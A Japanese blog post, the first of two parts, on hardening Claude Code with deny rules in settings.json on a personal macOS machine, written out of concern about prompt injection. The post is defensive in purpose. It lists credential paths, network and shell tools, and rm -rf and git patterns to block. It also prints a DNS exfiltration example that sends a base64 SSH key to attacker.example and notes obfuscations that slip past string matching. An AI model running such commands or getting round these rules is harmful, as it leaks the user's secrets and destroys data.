Claude Code を全許可で走らせず、現実解で締める settings.json deny rules(macOS 個人開発編・前編)
なぜ deny rules を書くのか
Claude Code を毎日使っていると、デフォルトの権限プロンプトに正直うんざりしてきます。ls のたびに、git status のたびに、確認を求められる。
作業のリズムが切れるし、惰性で Yes を押すクセがついて、それはそれで危ない気がしてきます。
「じゃあ --dangerously-skip-permissions で全部スキップすればいいじゃん」
…という誘惑が常にあるんですが、これはこれで踏み込めませんでした。
ローカル機には SSH 鍵も、1Password の設定も、各種クラウドの認証情報も、ブラウザの Cookie も、全部入っています。
Claude が読もうと思えば読めるし、curl で外に投げようと思えば投げられる。
プロンプトインジェクション一発で詰む構成のまま「全部許可」は、さすがに怖いです。
そこで折衷案として 「絶対やらせないこと」だけを deny rules で宣言する 運用に落ち着きました。
allow を緩めにしておけば、普段の作業で確認ダイアログはほぼ出ません。
それでいて、SSH 鍵を読みに行ったり、git push --force したり、rm -rf ~ を実行したりは、Claude 側で問答無用で止まります。
完璧じゃないけど、現実的なラインかなと思います。
この記事ではそのラインを引くために自分の ~/.claude/settings.json に何を書いたか、なぜそうしたかを淡々と紹介していきます。
そのままコピペで使える形で全文も後編にまとめて載せます。
ただし「これで安全」とは書きません。
deny rules で守れる範囲と、別レイヤー(運用習慣)で補うべき範囲があって、両方ちゃんと書きます。
守りたいもの
deny rules を書く前に、「具体的に何から守りたいのか」を一度棚卸ししておきます。
ここが曖昧だと、ルールが片手落ちになるので。
個人開発機 + macOS という前提で、自分が守りたいと思ったものを並べると、ざっとこのくらいになりました。
ファイル系(読まれたくないもの)
| カテゴリ | 具体例 |
|---|---|
| 鍵・認証 | ~/.ssh/、~/.gnupg/、~/.aws/、~/.azure/、~/.kube/ |
| CLI トークン | ~/.npmrc、~/.netrc、~/.git-credentials、~/.docker/、~/.config/gh/、~/.config/op/、~/.config/cloudflared/、~/.supabase/ |
| 1Password 関連 | ~/.1password/、~/Library/Group Containers/2BUA8C4S2C.com.1password/ |
| ブラウザのローカルデータ | Chrome、Firefox、Safari、Arc の Cookie・パスワードストア |
| macOS アプリのローカルデータ | Slack、Notion、Messages、Mail、VS Code の globalStorage |
| OS の機密領域 | ~/Library/Keychains/、~/Library/CloudStorage/ |
| 個人ファイル置き場 | ~/Pictures/、~/Desktop/、~/Downloads/ |
| プロジェクト内の機密 | **/.env、**/.env.*、**/.envrc、**/wp-config.php、**/credentials.json、**/service-account*.json |
「ブラウザの Cookie とか普通読まないでしょ」と思うかもしれませんが、Claude に「今ログイン中の Twitter のセッション情報を教えて」みたいなプロンプトが食い込んだら、原理的には読みに行けます。
読めないようにしておくに越したことはないですね。
Pictures / Desktop / Downloads を入れているのは、ここに人から受け取ったファイル(NDA 配下の PDF や、顧客から預かったスクショなど)を一時的に置いてしまうクセがあるからです。
ここを deny に入れておけば、雑にホーム配下を走査されても巻き込まれません。
ファイル以外で守りたいもの
ファイルを直接読まなくても、機密情報を漏らせる経路はそこそこあります。
ここを見落とすと、せっかく ~/.ssh/ を deny にしても意味が薄くなってしまいます。
- 環境変数の覗き見:
printenv、env、ps eww、/proc/*/environ(macOS にはないが念のため)
→.zshrcにexport GITHUB_TOKEN=...と書いていれば、これらで全部抜けます - クリップボード:
pbpaste、pbcopy
→ 1Password から一時的にクリップボードに乗せたパスワードを横から読まれうる - AppleScript 経由のアプリ操作:
osascript
→ メールの本文を読む、Notes を読む、Safari のタブを覗く、全部できてしまう - Spotlight 検索:
mdfind、mdls
→ ファイル名で deny にしても、mdfind "kind:secret"的な検索でメタデータから当てに行ける - DNS トンネル / 名前解決経由の漏洩:
dig、nslookup、host
→dig $(cat ~/.ssh/id_ed25519 | base64).attacker.exampleみたいな経路で外に投げられる - HTTP 代替クライアント:
httpie、xh、aria2c
→curlを deny にしても、別の道具が残っていたら意味がない
このあたりまで含めて初めて「読まれない・送られない」が成立する、というのが今回の脅威モデルです。
逆に言うと、ここに書いてないもの(たとえばカーネルレベルの攻撃、物理アクセス、サプライチェーン)は対象外。
そこまで守りたい人は Docker wrap か別マシン推奨で、この記事の射程外にしてあります。
設計方針
ルールを羅列する前に、自分が何を前提に組み立てたかを短くまとめておきます。
ここがズレてると、コピペしても自分の環境に合わなかったり、過信したりするので。
allow-list ではなく deny-list で書く
理屈としては「許可したものだけ通す」allow-list のほうが堅いです。
ただ、Claude Code の用途は雑多で、ls、grep、find、git *、npm *、docker *、gh *、jq、awk、sed、rg、… と全部書き出すと現実的じゃないんですよね。
書き漏らすたびにプロンプトが出てきて、結局「とりあえず Yes」の癖がついて骨抜きになります。
なので、allow は最低限の頻出コマンドだけにして、「事故ったら取り返しがつかないもの」を deny で明示的に止める 方針にしました。
allow を緩めにすることで、日常作業の確認ダイアログはほぼゼロに近づきます。
そのぶん、deny の網は丁寧に張ります。
deny は allow より強い
Claude Code の権限解決では、deny が allow より優先されます。
たとえば Bash(git *) を allow に入れていても、Bash(git push --force*) を deny にしておけば、後者はちゃんと止まる。
これがあるので、allow を雑に広げても、危ない部分だけ局所的に塞ぐ運用ができます。
文字列マッチの限界を正直に
deny rules は最終的にコマンド文字列のパターンマッチで判定されます。
つまり、書き方を変えれば抜けられます。
rm -rf ~は止めても、r''m -rf ~や${HOME:+rm -rf $HOME}のような難読化は素通りする可能性がありますBash(curl *)を deny にしても、node -e "fetch('...')"で外に投げる経路は残ります- パイプや変数展開、ヒアドキュメントを使った合成も完全には捕まえられない
これを「だから無意味」と切るか、「主な経路だけ塞いで残りは別レイヤーで補う」と割り切るかで、運用が変わります。
自分は後者を取りました。
deny で 9 割の事故は止めて、残り 1 割(意図的に難読化してくる攻撃)は 運用ルール側(ホームで claude を起動しない、untrusted な CLAUDE.md を読み込まない、など)でカバーします。
このあたりは後編の「運用ルール」セクションで詳しく書きます。
ホスト OS と Claude Code の OS サンドボックスは別物
混同しがちなんですが、Claude Code が持つ permissions は Claude Code というプロセスから出てくるツール呼び出しに対する制御 であって、OS レベルのサンドボックスではありません。
プロセスとしての Claude Code が直接 fs API を叩いた場合は別の話になります。
今回の deny rules は「Claude が Read ツールや Bash ツールを呼んだとき」に効くもの、と理解しておきます。
settings.json をカテゴリごとに解説
ここからは実際の ~/.claude/settings.json の中身を、カテゴリごとに分けて並べていきます。
コピペしやすいように、コード → 理由 → ハマりどころ、の順で書きます。
最終的な全文は後編にまとめて載せるので、ここでは部分抜粋として読んでください。
ファイルシステム Read/Edit
まず守りたいのはローカルの機密ファイル群です。
脅威モデルで挙げた鍵・トークン・ブラウザデータ・個人ファイル置き場・プロジェクト内の機密、全部 deny に並べます。
"Read(~/.claude/settings.json)",
"Read(~/.ssh/**)",
"Read(~/.gnupg/**)",
"Read(~/.aws/**)",
"Read(~/.azure/**)",
"Read(~/.kube/**)",
"Read(~/.npmrc)",
"Read(~/.netrc)",
"Read(~/.git-credentials)",
"Read(~/.docker/**)",
"Read(~/.config/gh/**)",
"Read(~/.config/op/**)",
"Read(~/.config/cloudflared/**)",
"Read(~/.supabase/**)",
"Read(~/.1password/**)",
"Read(~/.zsh_history)",
"Read(~/.bash_history)",
"Read(~/.zsh_sessions/**)",
"Read(~/Library/Group Containers/2BUA8C4S2C.com.1password/**)",
"Read(~/Library/Application Support/Vercel/**)",
"Read(~/Library/Application Support/Google/Chrome/**)",
"Read(~/Library/Application Support/Firefox/**)",
"Read(~/Library/Application Support/Arc/**)",
"Read(~/Library/Application Support/Slack/**)",
"Read(~/Library/Application Support/Notion/**)",
"Read(~/Library/Application Support/Code/User/globalStorage/**)",
"Read(~/Library/Containers/com.apple.Safari/**)",
"Read(~/Library/Messages/**)",
"Read(~/Library/Mail/**)",
"Read(~/Library/Keychains/**)",
"Read(~/Library/CloudStorage/**)",
"Read(~/Pictures/**)",
"Read(~/Desktop/**)",
"Read(~/Downloads/**)",
"Edit(~/.bashrc)",
"Edit(~/.zshrc)",
"Edit(~/.zshenv)",
"Edit(~/.profile)",
"Edit(~/.bash_profile)",
"Edit(~/.config/**)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(**/.envrc)",
"Read(**/wp-config.php)",
"Read(**/credentials.json)",
"Read(**/service-account*.json)",
"Edit(**/wp-config.php)",
"Edit(**/.htaccess)",
"Edit(**/mu-plugins/**)"~/.claude/settings.json 自身も deny に入れています。
これは「Claude に自分のルールを書き換えさせない」ための予防策で、地味ですけど効きます。.bashrc / .zshrc 系の Edit も deny にしてあるのは、シェル起動時に勝手にコードを差し込まれるのを防ぐためです。~/.config/** の Edit を丸ごと止めているのは少し雑なんですが、ここを編集する正当な作業は手元でやりたいタイプなので、許容範囲としました。
プロジェクト側は **/.env 系、wp-config.php、credentials.json、service-account*.json を Read deny。
WordPress 案件をよく触るので .htaccess と mu-plugins/** の Edit も止めています。
このへんは触る案件によって追加していけばいいかなと思います。
ハマりどころ
Read(~/.zsh_history)を deny にすると、Claude に「過去のコマンド履歴を見て」と頼んだときも止まります。これは正しい挙動で、履歴を見せたければ自分でtailして貼る運用にしています。Read(~/Downloads/**)を入れると、ダウンロードしたサンプルコードを Claude にレビューしてもらうフローが止まります。やるときは一旦プロジェクト配下に移してから依頼しています。- glob は
**を必ず付けます。~/.ssh/だけだと配下のファイルは素通りするので。
ネットワーク
次は外への通信です。
脅威モデルで挙げたとおり、curl を止めただけでは抜け道が残るので、HTTP 系・ファイル転送系・リモートシェル系・DNS 系をまとめて塞ぎます。
"Bash(curl *)",
"Bash(wget *)",
"Bash(http *)",
"Bash(https *)",
"Bash(httpie*)",
"Bash(xh *)",
"Bash(aria2c*)",
"Bash(nc *)",
"Bash(ncat *)",
"Bash(socat *)",
"Bash(telnet *)",
"Bash(ftp *)",
"Bash(sftp *)",
"Bash(lftp *)",
"Bash(ssh *)",
"Bash(scp *)",
"Bash(rsync*remote*)",
"Bash(*@*:*)",
"Bash(dig *)",
"Bash(nslookup *)",
"Bash(host *)",
"Bash(drill *)"curl・wget だけでなく、httpie(http / https コマンド)、xh、aria2c まで止めているのがポイントです。curl を deny にしても代替クライアントが残っていたら意味がないので。
同じ理由で、nc、socat、telnet、ftp 系も入れています。
リモートシェル系は ssh、scp、そして user@host:path 形式を捕まえる Bash(*@*:*) を追加してあります。rsync は *remote* を含むものだけ止めて、ローカル間の rsync は通しています。
DNS 系(dig、nslookup、host、drill)まで止めているのは脅威モデルで触れた DNS トンネル対策です。dig $(cat secret | base64).attacker.example のような経路を残しておくと、HTTP を全部塞いだ意味が薄くなってしまうので。
ハマりどころ
- 外部 API のレスポンスをサクッと見たいときに
curlが使えないのは地味に不便です。実際は手元のターミナルで叩いて結果だけ Claude に貼る、というワンクッションを挟むようにしています。 Bash(*@*:*)は欲張ったパターンで、echo "foo@bar.com:baz"みたいな無害なコマンドも引っかかる可能性があります。実害が出たら緩める前提のルールです。- npm install などのパッケージマネージャは別途許可されます(裏で HTTP 通信していますが、コマンド名は
npmなどになるため)。ここを止めたいなら別ルールが必要になります。
macOS 固有(pbpaste, osascript, mdfind)
macOS だけにある「ファイル以外から情報を抜く経路」をここで塞ぎます。
脅威モデルで挙げたクリップボード・AppleScript・Spotlight の 3 つです。
"Bash(pbpaste*)",
"Bash(pbcopy*)",
"Bash(osascript*)",
"Bash(mdfind*)",
"Bash(mdls*)"地味ですが、ここを忘れると鍵ファイルの deny が片手落ちになります。pbpaste は 1Password がクリップボードに一時的に乗せたパスワードを横取りできる経路です。pbcopy も deny にしているのは、「機密情報をクリップボードに移してから別経路で送る」という二段攻撃の起点になりうるからです。
osascript は AppleScript の実行コマンドで、Mail.app の本文を読む、Notes を全部書き出す、Safari の URL を取る、といった操作が全部できてしまいます。
ファイルアクセス制限とは別の経路なので、ここを塞いでおかないと「ファイルは守ったけど内容は抜かれた」になりかねません。
mdfind / mdls は Spotlight インデックス経由の検索です。
ファイル名で deny を張っても、Spotlight のメタデータ経由でファイルの存在やパスを当てに行けてしまいます。
そもそも検索させない、というスタンスにしました。
ハマりどころ
pbcopyを deny にすると、「結果をクリップボードにコピーして」みたいな自然なフローが止まります。これは手動でやる、と割り切りました。osascriptを完全に止めると、便利な自動化(通知を出す、Slack を開く、など)も Claude には頼めなくなります。それでも漏洩リスクのほうが大きいと判断しました。
破壊的コマンド(rm, find -delete)
ここは「事故ったら取り返しがつかないもの」の代表格です。rm -rf 系を、絶対消されたくないパスごとに列挙しています。
"Bash(rm -rf /)",
"Bash(rm -rf /*)",
"Bash(rm -rf /bin*)",
"Bash(rm -rf /etc*)",
"Bash(rm -rf /usr*)",
"Bash(rm -rf /var*)",
"Bash(rm -rf /opt*)",
"Bash(rm -rf /home*)",
"Bash(rm -rf /Users*)",
"Bash(rm -rf /Applications*)",
"Bash(rm -rf /System*)",
"Bash(rm -rf /Library*)",
"Bash(rm -rf ~)",
"Bash(rm -rf ~/*)",
"Bash(rm -rf ~/.*)",
"Bash(rm -rf $HOME*)",
"Bash(rm -rf ${HOME}*)",
"Bash(rm -rf .)",
"Bash(rm -rf ./)",
"Bash(rm -rf ./*)",
"Bash(rm -rf .git*)",
"Bash(rm -rf ..)",
"Bash(rm -rf ../*)",
"Bash(rm -rf --no-preserve-root*)",
"Bash(find * -delete*)",
"Bash(find * -exec rm*)"rm -rf / だけでなく、/bin、/etc、/Users、/Library 系を個別に止めています。~、~/*、~/.*、$HOME、${HOME} と複数の書き方を列挙しているのは、文字列マッチで抜けられないようにするためです。rm -rf .git* を入れているのは、リポジトリ全体を吹っ飛ばすパターンへの保険。find * -delete と find * -exec rm も忘れずに入れます。rm だけ止めても find 経由で消せてしまうので。
ハマりどころ
Bash(rm -rf ./*)を deny にしても、cd src && rm -rf *のような書き方は捕まえきれません。これは「シェルの工夫で抜けられる経路」の典型で、deny だけでは無理ですね。プロジェクト直下で雑にrm -rfを頼まない、という運用習慣で補います。- プロジェクトの
node_modulesを消したいときは、rm -rf node_modules(パスのプレフィックスなし)の形にすれば通ります。rm -rf ./node_modulesと書くとrm -rf ./*パターンに巻き込まれて止まる可能性があるので注意です。 --no-preserve-rootまで列挙しているのは過剰っぽいんですが、意図的な攻撃シナリオを 1 行で塞げるので入れています。
Git の危険操作(push, reset –hard, branch -D)
Git は「ローカルだけの操作」と「リモートに影響する操作」「履歴を書き換える操作」が混在していて、後者 2 つを止めたいです。
"Bash(git push *)",
"Bash(git push --force*)",
"Bash(git push -f*)",
"Bash(git push --force-with-lease*)",
"Bash(git push --mirror*)",
"Bash(git push --delete*)",
"Bash(git reset --hard*)",
"Bash(git clean -fd*)",
"Bash(git clean -fdx*)",
"Bash(git clean -fx*)",
"Bash(git checkout .)",
"Bash(git checkout -- *)",
"Bash(git branch -D *)",
"Bash(git branch -d *)",
"Bash(git tag -d *)",
"Bash(git update-ref -d*)",
"Bash(git reflog expire*)",
"Bash(git gc --prune*)",
"Bash(git filter-branch*)",
"Bash(git filter-repo*)",
"Bash(git rebase --abort*)",
"Bash(git stash drop*)",
"Bash(git stash clear*)",
"Bash(git worktree remove --force*)"git push は全部 deny にしています。
コードを書く・コミットするまでは Claude にやってほしいんですが、リモートに反映するのは自分の判断にしたいので。--force 系は当然として、通常の git push も止めているのは「事故った push のリカバリより、手で打つ手間のほうが安い」という判断です。
履歴改ざん系(reset --hard、clean -fd、branch -D、reflog expire、gc --prune、filter-branch、filter-repo)も全部 deny。
これらは作業中のコミットを消し飛ばす経路で、復旧が難しいのでまとめて止めています。git checkout . と git checkout -- * も入れていて、これは作業ツリーを巻き戻すコマンドです。
未コミット変更を一発で消せるので、地味に怖いんですよね。
ハマりどころ
git push全 deny は人によっては過剰かもしれません。CI 経由でしかデプロイしない自分のスタイルだとちょうどいい温度感なんですが、ローカルから直接 push したい人はBash(git push)とBash(git push origin *)だけ allow に戻すといいと思います。git branch -d(小文字 d、マージ済みのみ削除)まで止めるのはやや厳しめです。安全なほうの削除なので、要らなければ外していいと思います。git rebase --abortを deny にしているのは少し珍しい選択です。意図しないタイミングで rebase 状態を捨てて欲しくないという好みなので、普通は外していいです。
後編に続く
前編はここまで。
後編では残りのカテゴリ(DB / WP-CLI / ディスク / 権限昇格 / 履歴 / 環境変数 / 1Password / 公開・デプロイ / シェル実行系 / プロセス制御)と、deny だけで守れないものを補う運用ルール、完成版 settings.json の全文、これからやる予定までまとめて書いていきます。
今回は以上です!